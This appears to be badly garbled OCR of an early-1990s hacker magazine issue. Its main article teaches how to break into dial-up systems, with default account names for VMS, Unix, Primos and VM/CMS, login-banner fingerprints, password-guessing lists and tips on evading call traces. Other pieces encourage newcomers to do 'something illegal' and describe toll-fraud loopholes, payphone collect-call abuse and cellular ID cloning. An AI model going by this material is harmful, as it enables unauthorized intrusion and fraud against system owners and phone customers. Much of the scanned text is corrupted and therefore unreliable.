Drefault accounts a0e the accounts Beal
come with the system when it is instaled
Caciory accounisT). Cammon acoounls
&r¢ acooanis sef op by the system operslor
for parncolar tasks, The probability exists
that these zconunls are presenl &n 1he
switem that the hacker is Lrying [0
penctrate. therefore they shoald be iried.

Ielentifving the Svstem

If the owrer af the $ysien t2 ol

menboned e the opening banner, you wll

Ayt JE92

cither have lo pain acdess to the swetem
iteelf or use CMA (Cuostonzer Name and
Address - the Little thing that exists for
identifying a elephone avmber), Please
rernember that a brute force method on
seme syslems 15 0ften Tecorded o the
goeount indicating the purnber of stlempes
tkal you have trisd, semelimes #ven
writing the password that you've trizd,
hore often than mad, 2t will just recoed the
number of faled artempis. Aside from
1his, the system oeay “sound &noalaom™
This is not a kel or sizen thar gocs off; it is
just a messege printed out andlor senol
any lermanals designated as securnily
operaior lenmimnals (b WMEL Example:

Wileoie 0o Sphincier Sylems Vaz Chslir
Userpame: CHEESEREAD
Panmeprd:

WlSeome bo Sphinctler Syslems, Mr. Moase
mamber of Dailed ariein s slmos Jast epdrp: 227

Clbvizasly, in e above exanple, Mo
house would pet the wdea thal someon
wag allempring o gain access 1o his
aegeunt and would pramplly change the
password, assuming he was paying
attentinn al login (Many poople don'l
Loggiog into my faveote BBS, [ have
often Jeft the room while my acte-login
macid was socessing the system. The
came principle applies heee} Also. in the
ahave example, 1L was very srapid Tor
Sphincter Svstems to display the baoner
wentfying the system, This would orly
encourage the hacker in an abomps to gain
acooss fin always encouraged me), and &
227 amempts, e backer showld have kep
Irping Lo gain sovess. Romeomnber thal once
the acoount is accessed corcecily, the
SCCUEIDY COUNICE i5 roset to rero and Mr,
Bouse will prebsbly never knaw tha
soneane slse has his passwond (35 long 2
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no maliions of destiachve actions are
carned ou and &5 leag ss he doosn’t keep
a2 record of his g dates],

When | was scanning 2 nelwark, [
often found that most of the sysiems
adeniified themselves. On the other band.
the systems § found in mast telephans
exchanges regquised that they b identified
by other means, The banner wsually
direrded oy incerest in the syslem, whether
1 Fast wanted Uy bry & lew thangs and move
oL of really concentrate on the effort. [t
also pave me a lidle exha ammenitien
sipe psernames andior passwords may
cantiin some infermation which was
diapleyed nothe banner, Angsher thing 1
rrticed aboul netwoerks Lhat diffeced from
locnl dial-in swstems was thal dialan
systems would disconnest me afrer fhres
o Eve atternpdz. Granted, the sysiem on
the netwark would disconnsct me. but
anly from the host. The network iset!
wouk not, creating one less problem e
dez] with. System operabors maght suspect
soeneshing if they saw an outdial number
bezine socesscd every thirty seconds or so.

Lagin:
Pasaword:
This is a Urix.

Useromme:
Password:
This s a VAS,

&=
Thus 15 8 Toge-200

Enter Usercode Fasaword
Thiz is & Burroughs.,

MOK]
This s s REX-11.

ER!

Thas 15 & Prune.
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This is un IBM runring a %M n;._nE_“m_._m
EYELEI,

This lss1 1% By far o concpiens, & there
are many more sysems ou e, bat it
will wer vou stared. Some of he tms, it
will 1211 you the name in the epening.
Crays. for example. vsoally ideatify
Lemseives.

The Telephone

Meke sure when wea ase dialing iofo
the svsiem thal vou realize thal somewhere
aleag the wal there s a possibility of &
race. With all of the switching swstoms in
cffect by Hell, elo. whal you reed beodo 15
dral 1 wzing an culside source, For
wmstarne, what T osually dad was call an
] extender {rol in Fealure Growp DL
s hen call the largel sysiem. The waly
times [ called the larpel system direcl was
when T was idennfying the seswem {0 did
nol start backing b system af this iime].
bal even Uis 1 w0l recomoended shese
days. Things vwned by Bell, such as
CERRMOS systems, SOC% netwonks, 0006,
are ._u_n_...._u.uu._w. more Tisky thzn genenc
coTporRte systems. O course using only
nre exiender shaald be 1he Teasl ol whel
wou can o I woeu eall soveral excendess
and then the arget syseeny, the chanoes are
thar treeang the call back to yoo will be
reexl Ly impasatle. Hul this method ales s
lmww since the lang dislance lelephone
company may not be averly enthused
bl you defrasdung them. Arone 12me 20
acguatnlinge was Dardsslng & Conipany
that was mocing kim, They let him irow
of ahwe trace and just for the bell of it ke
decided 1o stay an the line o see 1he
reseles, The result was Pariz, France. Keep
i b Lives dn e Unaned $asse. This
stary displays an excellent use of
cxienders. The oniy demiment 1 see is Lthat
by roaring wour call thoooph e or more
exlenders the amlegnly of ke Lne
Lecreases.

Ansanin f02

When using neiworks (Telenet.
Twminet, he.) o coanseling o the sysle,
yaue port is sent &g an 1D in order (o
sccepl Your fonneclion alteompr IF wauld

Frirun
Tebenet
Uoamiion Acconnls
For the ¥ ¥/CMS Syvdem

really be simple then 1o isolate your  Operator
nuaraber (providing vou called e petwork Umsbatchl
direetly from yeur hewose) af you  Autologl
repeatodly artempt s wse the system. What  Operatns
vou should do for this problan ii leop  ¥Wmtest
through a gatewsy on the network. The  Vmutil
paleway is cssentially an eutdial which  Malnt
will cannect (o & system, Use the peteway  Smarl
o o2l ancther neswork's diafup. Viam
Commin Passwords Erep
The following is a list of common Hses
passwords for varipus systems, On 3 Lims
reepectable  svitem, these will be  Spu
constantly changed. But not all system Comtimon Accownts
MIAIAZEES ATG SMATt Of securtly COMscious. for the VaxVms
The first system that I got into was by Yax
using & SOMMmon accounl (g password Yms
was needed o this case, just the Unix Ikl
“puep”™ a8 & vsername). Sometimes  Demo
syslene are put up and completely Jeft  Test
alane. 1L seems the manzgers think thet  Help
nobady will find the systerm. Dy oy cfse. MNews
the svstem was kegt onrent, and [ had - Guest
“pacp” privileges to the School Board  Decnet
compater. Remeathar, as long as you doa't Eystest
do anything that darnapes of desteys dats,  Uetp
they probably will never know that you  Default
have boon fhere. User
Comman Accounls Field
for the Primos System Hervice
Frime Syslem
Admin Manager
Games Operator
Tesl Common Acorunts
Tools for the Unix $ysiem
S¥stem Tk
Hje uucp
Giest T
MNetman dagmon
Cmdnéi Wl
Frimas uest
Do i
Regist Cofm
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i

e

hin
BNE
informix
T pEET
adm
prodile
Lrouhke
intro
rje
helhs
Ip
selup
perwerduwn
UTLamE
makefsys
misunifsys
chixckfsys
umounifsys

This should give yoa an idea on wheze
Lo sTark,

Combinations

The combonabions i g2l inke o system
are neatly infimate, B the password needed
te el inle the syerom e something frke
“ERNGUMIIAT ther the chances are
exfremaly Temate that yoo will get in.
Multiply the following: the puntber of ties
where WOl use 1ke userpame as the
password by the variatans of a word {ie,
far "CMEBATCH™ passwards oould be
“Hath" oo “BATCHOMSTL Mow ald oo
names and wild guesses, This should give
wou quite a st AlL yoid can do is exhacst
yvour  list  of - wsernamef/password

Total punaber of passwords that are
ihe same a5 the accouni’s pame: 3
Todal number of passwords that &re
a refated word Lo Lhe aceound name: 10
Tzl number of pasasords that are
first names, not the wer's own: 17
Tedal sumber of passwords thal are
the wier's ikt name: 19
Todal oomber of paswords that are
words related (o the user's job: 7
Todal pumber of passwords that are
the name of the compang: 1
Total number of random characler
pasawirdsi 1
Total number of pasowords (hat are,
in some format, calendar dales: 32
Total number of passwords that
were unchanged defaulis: T
This should give you ar whea of bow
things are placed in a major corporale
compier-
Imagintion
This 15 whai you peed 4o gain access G
ar asqount. Being 2 number crurcher qust
won'l do it aaymore, In the fallawing
segirerL T will List our idess with about 20
rr 30 examples moeach. This ariicle will
Feb you going. You just bavwe to finish the
jah.
Copmmern First and Last Maoes
These can readily be obisnable oor of
the telephons book, the greatest souecs of
all fizst e Last naones, Exampies:
Laus

combinatizns and move an. You have  Dave
done your best as Fzoops trial and eorer Chris
hacking 1% conceracd, Trashing for  Michek
prinius is alsm an opiwn, Jessica
Druidic Dleath 21 one nmme suveyed & Arthur
WRACMSE svatom’s unenernypied password  Roberd
file pnd wrele Lhe results down as  Palrick
cateporics. This is 2 list ol his fudings: Arncdd
Tedal number of system nsers: 157 Benjamin
Totul number of accounts that can’t Lerek
be Jogged intac 37 Edadiz
Tedal number of passwords thai are Shannon
a Torm of the account name: 10 Hichard
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Keith

-~ William

Bubba
Michey
Ciyde
: Colors :

Figure it oul for yourseif, everything 1=
possible. Examples:
Blue
Black
Chrunge
Red

- Yellow

Furple
Magenia
(rreem
The Diclionary
The single ol imporiant dedument.,

.Everyore should have one, and if you do

3t have nr= get ase. Many passwonds are
ar wour disposal, And, by all means when
or e Unix, downboad fessfduetfwonds, the
vreline dictionsry. 1 alse belicve fhat you
should net limit your wands 1o just the
English versioas, There is oo reason why
passwords cannol be in Spanish, French.
e, .

Types of Curs
Footine
Ford
Huick
Toayeda
Honda
Ferrari
Porsche )

Matarcycles and all venue of
transportation can be included in this
segItenk,

Rock Buamds

: Hnm_ﬂtmr

Pinkfoyd
Hendrix
REM
Cream
Chzzy

Aptnme 15992

[ UDSE O5E
Hozart
Fublcenemy
Frc.

This s=ction can include magazines,
software, profaniiies (when 1o was
vahidatien sysop on Digial Logse's Thata
Service | don’t knew how maay people
psed the word FUCK when asking for

" walidation). You should have accumulated

guate & List by nove
Conclusion

This i% LT hope you have learred that
nathing should be pat past the s¥slem
manager. He is the only person beiwicon
you and a swstem that caeld be an
excellent source of wiformation, Erjoy!

References

Look a1 the following ariicles fof in-
depth information for specific operating
syshems:

“Unix From the Groued Up” by The
Prophet. Unbelievably helpfol in bearning
Unax.

Lex Luthor's “Hacking VAKX WVME™,
TEG) Magazine, Feruary 1988,

= A Guide to the Primos Operating
Swstem” by Carrier Calprit. LODH
Tecionirad Fournsd 21,

“Hacking 1BM"s YMCMS Operating
Syaremn™ by Lesx Luthor, 2600 Magazine.
Movember and December 1987,

2600 has been the subject of more
emergency corporate mestings
than any ather internaticnal threat!
MNow you can join the conspiracy by

coming to a 2600 meeting. They're
held on the first Friday of the monih
in eight U.S. cities! (We're growing
almost as fast as the 1216 virus.)
Check page 41 for more de
call us at (516) 751-2600.
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YET ANOTHER INTERNAL PHONE COMPANY DOCUMENT! THIS
ONF WE'RE REPRINTING TN I'TS ENTIRETY ON THE NEXT TWO
PAGES, AS A PUBLIC SERVICE.

Fage 36

NEW YORK TELEPHONE COMPANY

2600 Mapatine

Awfumn 1752

You will find e dial telephore eagy I
eperate gnd the service 1 provides fast
and dependable. The information 4 e
Jotlowing pages will Be helpful to you in
cbtaining The wtmedl safisfacticn LEE
camenienre in the wse of dial service.

New York Telephore Company
L L]
Listening for Dial Tone

O all calls, pemove e receiver from
the hook and listen for dial tone before
starting ta disl. 1hal tone 18 & steady
homming sourd in the recciver indicating
that the 1 is recdy for you e dial.

Calls to Central (ffices
Which You Should Dial Direct

{Central offices which you should dizl
direct from your celephone are shown on
the card furnished to you. )

When you hear dial teneg, keep the
receiver off the hook and dizl the first two
Jetters of the central office name, Lhe
office eumeral, then each figure of the lirs:
pihie] ko

For examphe, if disling Wiknh 25900 -

(1} Place your finger in the OPENing 1
the dial over e lester V.

{2) Pull the dial around votil you strike
th finger stop.

i1y Remove your fiager From the
opeding, and wilhoul teeching the dial
allow it b rebarm L its pocmeal position,

(4} Proceed in the sarme way o dizl the
letzer O aind the figures 2-9-5-7 and O

[F the somb=z called has o party line
lenter, dial the rumber in the same Way.
[ilowed by the lewer 2t the end of the
nmibed.

Within a few seconds Rfter you bave
comipleted digling. you should hear ither
the ringing sigoal, an mntmarent bourTF1-
ing sourd, of the busy sipnal, & rapid bare-
busz-boze.

If you hear an anterrepted buzring
cound, as burz-hure — burz-bozz, it
indicates that you have dialed the ceatral
affice desigration incomectly. Heng up the

peceiver, wail a few seconds, and meke
anather attempt. being careful 1o dial the
central offics designation correcty.

If you da rot hear any signal within
kalF a pninte, hang up the feceiver. wat a
few seonmds sd meke nnother ltempt.

When, for sny feason, you do nol
ohtzin B conieetion (for example. the
called line is busy of do=s not answEr,
you will pet quicker s ice i1 v hang up
the receiwer ard ry the call again yourself
a1 intervals instead of immediately calling
the eperelor for assistance. Mo charge 15
made unless yow ohlmn 4 AnNswer from a
sibsoribers ebephons.

TF you make a mistake while diating.
hang up the feceives 8t once, Wail 2 lew
coconds, ard make another BUeTLEL

Before starling to dial & second call,
alwiys hang up yaur receiver for & faw
sl
Obtrining Assistance from the (Yperator

If vou have trouble in disling, or if you
have occasion to repoTt cases of service
irregularities, you can reach the operslor
by placing your Firgel in the opening in
1hre dial cover e word “OFERATOR™ and
then pulling the dial arcurd upnl you
sioike the fing=r sop-

Afler comnection has once been
cotalisked with the operalor, you may
recall her by maving yous recenver hook
up and down shewly, This ¢an he done
anly when ¥ou are o0 prected with the
operator; on other calls. moving the
peceiver ook will break the connaction.

Calk from o Party Line or from a Line
with an Extension Telephone

Always make sure That the line s mOL N
wse. [f you do not hear the dial tong.
inguire if the line 15 being bield by some
plher pepson, IE o response 1§ receved,
hang 1 thi: recsiver for 2 few seconds ard
miaks arather atlempl

Listan oo the line while digling., ard 1
wiv hear anoiher party come in on the e
or bear saceessive clicks in the nectiver, it
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indizates thet someane else on your line i
_.._..__.m._...n to ezl Enfrem himn that the Line is in
use &nd request him o hang up his
receer, When he dogs so, hang wp your
awn cecever For & few seooodi. and thea
remave il and cdial the comal=te number
EER

T call another perty oo yours line, dial
the= Gperatar, mm.__.n her the number you wish
to call. sieic thet @ is the pumber of
anolker pariy on yaor hine, and grve her
your number.

Tio ¢all an exbension telephone on your
lima, dizl the opderalor, give her yoor
rumher and ask ber 1o oeg the eal=nsion
1elephone,

Calls by Xomber to Central Offices
Which You Can Not [Hal Direc

T place calls by number iy centrz] offioe:
within Mew Yook iy whick you cun not dial
direct, or i ceniral offoes at nexty poats, dial
the aperater and givie her the mambor of the
telephone with which you desite o Te
covietind, andd also the nanber of e tedephone
Encerry whech you s calling, For example —

“Banpsich: S350 — Walker 55

T1 ther cemitres] ofPcae o mwe calling: & ed 5 &
resobey prind, v e oocraaor the came of the
cily, the name of the sace, of desarable, the
numher of the telpbcene wif wioch oo disns
1 b ooarechsd, aned aiy the nierbher of the
telephore from which you ave calling. Far
AT —

"Philadelphia, Market 1235 — Walker
LR

o

“Partiand, Maine, Preble 1234 —
Walker 5-9200"

Crut-of-Town Calls to
Parficular Persoas

T makee car-ef-town calls o pariicalar
persong, dial the fipures 2-1-1 and prve the
operator who answers the pame of the
prsen with whom you wish o speak, the
rame of the any, the narme of e slae, the
rymber af the telzphone with whick vou
degire to ke connected, and also the
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rauber of fhe telephone from which you
e calling. For example —

e, Paul  Smith et Beston,
Massachaseirs, Main 3340 — YWalker 5-
E b

Information Calls

..._.._”.F._uw_u_..ﬁ mamhers af subsoribers ol
lisred in wouar directory, and tzlephone
numbers ol sabscribers a1 out-of-[own
Ep__.__“m may ke ohtamned by calling
Infrrmation.

To £21] Inlom ston, dial the fgores 4
-1

Telegrams

To send & telegram, look ap ke
telephone number of the desired lelegraph
company in the directery, and dial this
mamber g yoa wenldd any other,

Calls 1o the Telzphone Company
Bepair Serace.. Dual the figures 6-1-1
Business O Tee. Dl the figoces 8-1-1
Time of Day._...1¥al MErsdian 7.1212

Emergency Calks
(Police, Fire, Ambalance)

Dial the operater, give her your
nzmber and say —

“I want a polizeman,”

Y[ want to pogeort & fire,”

"I meant an ambulancs,”™

If commpelled 1o leave the elephaons
beefore e desised stanon arswers, tell ohe
aperalor where help is equised.

ou may alse rezch the Police ad the
Fire [epariments directly by _.u.mu:"_._.w e
nambers fsced in the direciony.

Dial Codn Telephones

The pperation of dial o elephones 15
_.u_._.__.?w. similar 1o that of Foar awn dial
wekephone, The only differences are thai it
15 pecessary 1o desostl A oodn in coder o
obiain dial tone (ndicating thal the line s
ready for you o disl) and that teleprams
are senl by dbaling the operaior ard ellng
ber the 1zlepraph company desired. 1 the
called line is bosy or does ot answer, 1he
cam will be returmed after the receiver s
hung .

Awtrirmm f002
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Computer hackers at the CFP conference in Washington DO ks spring found it
astpundingdy easy to get into guests’ mailbos. All you need is 3 name and & room
number! We wonder bow many other hotels are so trustiog,
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2600 NOW HAS A VOICE
BBS THAT OPERATES
EVERY NIGHT BEGINNING
AT 11:00 PM EASTERN
TIME. FOR THOSE OF YOU
THAT CAN'T MAKE IT TD
THE MEETINGS, THIS IS A
GREAT WAY TO STAY IN
TOUCH. CALL
0700-751-2600 USING
AT&T (IF YOU DON'T
HAVE ATET AS YOUR
LONG DISTANCE
COMPANY, PRECEDE THE
ABOVE NUMBER WITH
102388). THE CALL COSTS
15 CENTS A MINUTE AND
IT ALL GOES TO ATET.
YOU CAN ALSO LEAVE
MESSAGES FOR 2600
WRITERS AND STAFF
PEOPLE ARQOUND THE
CLOCK.
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getting

by Phord Prefect

30 you watched zomething on
TV and it was about hackers,., you
gaid “nifty”.... You read something
cn a BBZ aboul free phone
calling... you said "cool™.... You
started checking oul books from
the library about Knight Lighining,
or maybe even blue  boxing
(Esguire, Qciober 1871}, vou
said “wow ... You gol this
magazing and said, 1 have o do
this™ but dida't know whare 1o stard.
Well, vou're nol akone..

Your curicsity overshelms you,
Dt el you cant seem ta find that
littler thirg to star your exploration,
You could tny looking around for
cther hackers, bul if they have a
licx of sanse thay wend make i too
ohvious, Try locking harder, they
might just come to you.

S0 this doesn't work... you just
can'l seem to find any, or they're
mostly pirates and can't help
you. Wall, you'rg just going 1o
have 1o gel the balls to do
samathing illegal in your life {but
I'm nof farcing you), s0 do
something. This magazing is ful
of examples. Sure there's
stealing MCI calling cards,
building blue, red, or whatever
boxas, but there arg much
deeper things. If vau dafraud thea
phone company, you're nol a
hackear, you just get free phone
calls. You need a passion for the
syslam. You need a willingness
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to learn a lot aboul the system
before vou do something.

W youne kooking for free phone
calis, hurry up and do thatl and
stop wasting your time. Like |
zaid, you're nol a hacker, you
just ara bathered and nzed a
litile trick 1o get onto BBS's in
some diztant place.

If you have a cunosity for the
syslem, then you're in the right
place. The phone company is
somathing so amazingly huge
that one could probabdy spend a
lifetime explaring it. This
“gxploring” is what 2600 is all
agbout. | know that vou compuier
geniuvs teanagers don't need
manuals for things (like computer
programs and YCOR'z) and are
really impatient, 0 you don’t
want the bullshii., You want 1o
know how 1o get into systems
mow. Well. relax. You made a
good decizion buying this mag,
b vou have to leam krsl. You
need to  know. this thing
backwards and forwards or else
you'll screw up and gat caught.

S0, in response  to the
beginners writing in and warnting fa
"wnonw howe 1o get free phone calls
and othar phang tricks™, you need
to get knowledge. Read everyihing
vou can get yvour hands on and
when you feel the time is right,
after you know exactly how,
where, why, and when {o do |, do
if.
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Toll Fraud

What The Big Boys Are Nervous About

by Counl Zera

Restricted Data Transmissions

Taoll fraud iz & serious problem
ihal plagues the tefecommunatataons
industry. RHecenthy | have acquired a
cellection of trashed documents
detailing what ATAT and Bellcors
ara doing to stop these “theils.” |
found thesa pagers very antightaning
and occaszicnally humorous, A Tew
insighis inte what's bugging the
taloo.

Tall Fraud Prewventicn Committes
(TFFC): Thiz is an industry-wide
farum” commiltes sel up in
conjunction with Bellcdors thal deals
with, guess what, toll frawd. Tha
TFFC has “zuper elite® mestings
every once i awhile. All paricipanis
arg fequired o sign non-disclosura
agraaments,  Forturalely,  thea
particepants fraguenily tess thelr
notes in the POTC (Plain Cid Trash
Zan — se8, | can make stupid
acronyms jusl ke Bellcors!) As far
a5 I'm concerned, once it's in the
POTC, it's PD {public domain)!

The “opon issues” concerming the
TFPG currently are Third Number
Biling Fraud, Intemational Incoming
Collect CGalls to Payphones, and
Incoming Coliect Calls 1o Celiular.
Apparently, they have noticed a
marked incraase in third number
billing frawd in Califormia. To quote a
meama, “The most prevalent fraud
stams include eriginating fram
coincopt (aka CODOTs) phones as
well a2 business and residence
sarvice  that is  fraudulently
esfablished.” Third party billing from
COCaTs is an old trick. Arother
typa of COCOT sbuse dizcuszed

Anrfumen J9H2

was “10XXX" fraud, By dialing
10X (whera XXX s the code for a2
certain LD carrer], the csller on the
COCOT gels to choosa their LD
carrier. Howsyar, in some cases the
LEC {Local Exchangae Carrier) strips
eff the 10MXY ard then sencs 1he
call iz the [XC {(fnter-Exchange
Carrigr, the guys that place the LD
cal) as a 1 + direstly diaded calll So,
when you dial 10XXX+011+in-
tarpational number, the LEC stras
the 100304 and the NG sees he el
as directly dialsd inlarnaticonal and
assumes the call has besn paid for
by cain inte the CICOT. Dialing
10X AK+1+ACH alza sametimes
works for LD calls wiliin thae Linited
Siates. Anyway, COCOT providers
ara waging oul a bit becauss, whi'e
ey must provide 10X+ D sanvice,
ey want o block the 10008 +1 and
IQEXX+011 leopholes, but LEG s
hava chosen 1o provida COCOTs
wilh & slandard business line which
is mat capabie af distinguishing
batween thess diffarant sitvalions,
which iz why central offices have
been typically programmed to blook
all iypes af 10XXX calls from
COCOTs. Thanks to tha FOO, they
can'l do thal anymore; i1's breakirg
the law! So CCs have bean
repragrammed ke aoeepling theze
106X calls from all COCOTs, and
the burden of salectively blocking the
10X+ 1 angd 10X KX +011 loopholss
aften falls upen tha COCOT
manufaciurer. They gotia budd il i
the COCOT hardware itsalf!

Well, many early CO0OTs cannet
selectively unblock 10XXX+0, sa their
owners face & grim choice balwaen
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ignoring 1the unbkicking law (thereby
facing fegel problams), urblecking &l
10XXX czllz  [(thereby apening
themsalves up o masaive fraud), of
replacing  their  COCOTs  with
expensive, mors  sophislicated
medals. Olher LECs have begun
oifering call scresning and other
methods to stop this tvpe of fraud, bl
the whole situation is still preity
messy. By the way, for a
comprehensive 51 ol 10XXX carrier
access codes, e the Autumn 19649
issue of 2H00, page 42 ard 43, While
they are coastantly changing, most o
these shou'd st be good.

lrcoming internaticnal Collect to
Cellutar: accardeq 1o the notes Swhen
g callular phone ig turnad on, it
‘checks in' with the lecal cellular office.
Whnan thizs happens, a davice that
‘reads' radio waves ¢an capture the
igentification of 1he celiular phong. A
tremandaus wolume of ‘claned’
Fraudulant cellulzr calls are geing 1o
Lebaron” Sarme cld trick, grabhing
the cell phane’s ESN/MIN as il's
brozdeast. The only wist is that you
call eomepna’s cellufar phone colact
in arder 1o get 1them to pick up and
bragdeas! thair ESHN/MIN [they will
probably refuse the cadl, bul they will
hava broadeoast their ESN/MIN
nevertheless!) But why Lebanon?

The Amearican Public Commun-
icatiens Council menticned “a degire
far the TFPC to be invalved in the
rezolution o ¢lip-oa fraed.” Maybe you
guys shauld try better shieldng of tha
phorne (na coming out tha back o the
CoOCOTH? Apparenily, clip-on {raud
has regly teken off with 1he recent flux
o new DO0OTe, COCOTs operate of
a plain old cusiomer koop, so clipping
ol the ring and 1ip outside the body
of the COCOT works nicely. That is,
sssuming you can gel al the cables
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and get through the inswfaton,

Incoming Internatonel Gofect: This
iz @ b7 issue, A person from overseas
callz a payphone colect in the United
Slates, Histher buddy answers the
payphons and says, "Sure, | addep]
the charges.” Belisva it ar nol, this
trick, warks many times! Hera's why. In
the WUnited Staies, dalabases
conlaining all public 1elephane
aumbers provide & reasocoable
measure of contral over domestic
colies abuse and are available ta all
carriars fof a per-vse charge. These
catabazas are ofered and maintzined
by the locsl telephons companias
(LTC). Desnestic cotect-to-coin calling
warks well, because mazl oparatar
gervices systems i the Lnited Slates
query this databsse on each domestic
collest call, Most Local Exchange
Carriers in the United States alsa offer
thiz database service 10 owners ol
COZOTE (for those few that accenl
incariing cafsl

Howewer, internadional cperatorns
across the world do nof share acosss
ba this databazae, just as United States
intarnztionel operators <o not have
database access overseas! The
GCITT, the international consortium of
telscommunicaticas Carrisrs,
recogrized Lhis sefous proolem maty
yvears  ago  wilh il strong
recommendation 1o utilize a
standardized coin phone recognition
tona [commanly cilled the cuckoo
fonad on avery public teephone ling
numser, Such & tone would be easily
recognized by operaiors workdwids,
and is currenlly In use by mary foraign
teioos,

The Umnted States decided to
ignore  this - logically  sound
recammaendation, having already
amploysd & numbaring stratagy fof
public telephones which, logether with
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a referance document called the
"Roule Bulletin®, alerted foreign
operators that the called numbear
should e checked for coin with the
Linded Statss inwerd operatar. This
wimple procsdure greatly reduced the
numbar of times that the lareign
operater had 1o check with the Llnited
Siates aperator, vel was eflective a1
gontrelling abuse. Evaryone slapt
sounehy.

But after the bust-up of ATET in
1984, the local telephone campanies,
oparaling indspendentiy and under
pressure to cffar new services
icellular, pagess, ete), abandoned th
pubfc phone Ttoed numbering sirategy!
In addition, in Juse of 1884 the FOG
decided 1o allew 1he birth of private
peyphones (COSOTE), And, up until
1960, rothleg was dors 1o replace the
fraud praventon systerm, Can you say
“open seasan’?

I 19483, tre TFPC began sesking &
soltion o the growing volorsr of Traudusent
callect calls resuling from this waid in the
fraud preveriion arhiteciure, Nurmensus
sohdions were splorod. A primary soltion
Wi CPOEETL

Validstion dalabase! Yes, the TFPO
chosa ta support 100 percent the LEG
database sclution, WwWith the cuckoo
payphone recogniion ke a3 one of a
numbar of secondary solulions. This
ducizion caused problems, problems,
problems, Snca @ was evaluated that a
grest number of forein tekos would be
urakla to implement this dalabaze-
checking routing dor 2 varety of fechnics’
ressens), Futhermone, becauss this TRPG
serlution” o the Unied Srates’ problemn iz
rat in conformance with international
raquirarmans, the Soregn tekos iew 1 with
strong opposition 85 an unacceptabls
soltion dus to the addbional workme that
woull be incurred and the blatant
urmwillingnass on the part of the United
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States to follaw an effesiive and
lengstanding intemations] standard [shi, we
bl 2t veing medes, why nol this be™)

Tao this day, e TFPG is 21l bouncing
arcnd idess for this And the suscectolly
of Uniled States payphones 1o nemations]
incoming collet cals mrralng wids open.
Various phana companias arg curently
fighting the cikckoo tone sysiem, Docalise
they ane chegp moliens and don't want o
spend the estimated $500-T0D par
payphone o install the cuckoo tone
technolegy. W the cuckoo tone were
implernented, i would vitusly efiminae the
problem of istematonal incoming oolect
Al B it bl ooen

Crher briliznd "secondany” solulions
recarmmended by the TFTP are:

1} Eliminate the ringer oa the
payphona.

2) Rouls a'l such calls (o a United
States coafalof,

3Y Eliminate ingoming servics 10
payphones alogether.

Anc 2o on, A5 you can ses, this s a
fascinating slory, ard the latest TFTF
meellng ended with the nole "The
issue was discussed al seme lengls
with 1he end resull of it becoming &
new issue.” Truly e work of
geniuses.

In closing, | want 1o share with you
a quote from an artide | dug out from
a pile of coffes grinds. it's from
Fayptang Exchangs Magazing.

“Thi figwir thix numbes of peccde swans
of @ pimary fns of dedensa coming oown,
{h botter. Ary quedfiod person resding the
hacker and underground puiblications
krowee that rary of their artickss ane written
by current LTG aod D00 empkayees [or
pecpie like me whe ga through their
garbagal]. Loose lips sink ships
Unrestricted distribution of sensitive
ifomration permits fraud, Both cost deary.
Lef's stop theemn both today ™

Al lcan say is.. fudk that,
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Accerdimg to internal phors company
documents thet were semt foiius,
“fraudulent collect ealling is #m issue
that kae plagued the telephons indusiry
for nearly 25 maay yeais ot Lhe sarvice
has been available 1o the public,” One of
the biggest probloms is, admittedly, thet
the Unitad S1ates never implementad the
CCITT recommendation te have an
intermstinnally recogairable tone seund
when & payphone picks up an [ncoming
call, Prior 1o 1584, the United States had
a mumbering - #chemp, By usimp
semathing called the Aoste Bollelin,
operatars Irgm other countries ware
pkle 12 120l il they sheuld ehack with the
inward oparater in the United States to
sop if .the phone wa&i & ‘n__.w._;u-
(“chacking for eein®). “This simple
procedure grestly redeced the mumber
ol times that the foreign cperator had ta
chaek with the US pperatar, yat wes
gifective at cantrelling sbuse,” A majaor
problem mow exisis baceuss after
divestiturs, thit pembering schems WaE
abendoned. Added ie this was -the
introduction  of  COCOTs
peyphenas). “Eonfosisn over the true
status of thess phanes and the grewisg
nomber of thats |nstruments caosed tha
local talephene companiee 1o salect
numbers for thass isstraments oul of the
general (non-eoin) nombar pael” Alter
lirst siiggesting What every country in the
warld tiret consult o dat=baze hafors
processing any callect calls to the
United 5tates, the imterexchafje
carriars had & change of haart. -The rest
of the world taok a rether.dim view ol
the United States imposing its will upon
gveryons else and ignsring (a3 usunl}
the intarnationsl standsrd: As a result,
it's now keEn suggested by Amerféan
phome cempanins that tha coin phope
recagniticn tene be implemented. Apart
from evarybady slas in the werld heing
opposed to it, the dissdiantegas of

ralying upon the deisbeas included:

guastions rhoul databezs éccuracy, the
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{privets:

fack that treining weald ba raquired, tha fact
thei validation weuld require byve operelors,
and thet there are no coptrachsal profectons
for any datsbese failores. The companies
olzn believe such = tore will help cut down
oo fraud within the United Stales. ATAT
eays, Public and coin phones &7a very often
the vehicle used by defranders. Posing as
telephone company smployers, lrand
PEFPETAters comvinoe condumars 1o socept
numerpies bills 1a third eslls and fe give cat
their calling cerd pin. A signal such ax the
recagnition tome, when ‘astionally
recognizad by all U subscribers as
signifyimg a caim phone, eould speH &n
and te scemmars whe conduct business
from payphones and legve cein phone
numbsrs &5 & call back number to thelr
unsuspacting prey.” The oew system,
ingluding & velee massage, will be
restad with Pacific Bell. BallSauth,
hewevaer, helieves that the database
system eould still be weed Ifom
overseas, provided 1the interexchange
CHTIErS sot op separate trapks Lo earmy
O Araific and do the validation

o thamselves.

Among the most eommon forms ol
third nemhber billing fread, the phose
sempanies eite; "hilling e veics mail;

scams, celiolaf (te amd  froml,
internetienal, billing 1o unaesigasd
numbers, Cfecorded - acceplance

meecages, databese failores - and
inpccuracies, sz well a3 no:live

Cwerilicetdon.®

ATET also stated, “With grewing
frequency, defrauders are establishing
talephons service and billing large
mismsbers ‘of calls o that eervice, with no
intention ol paying the bill; This is often
doni by previding the LEC {lscel
companyl with fraudaleal Infermation on

the seriice application.”

Other:iesues heing discossed within
iha teliv inner circle insfuds providing
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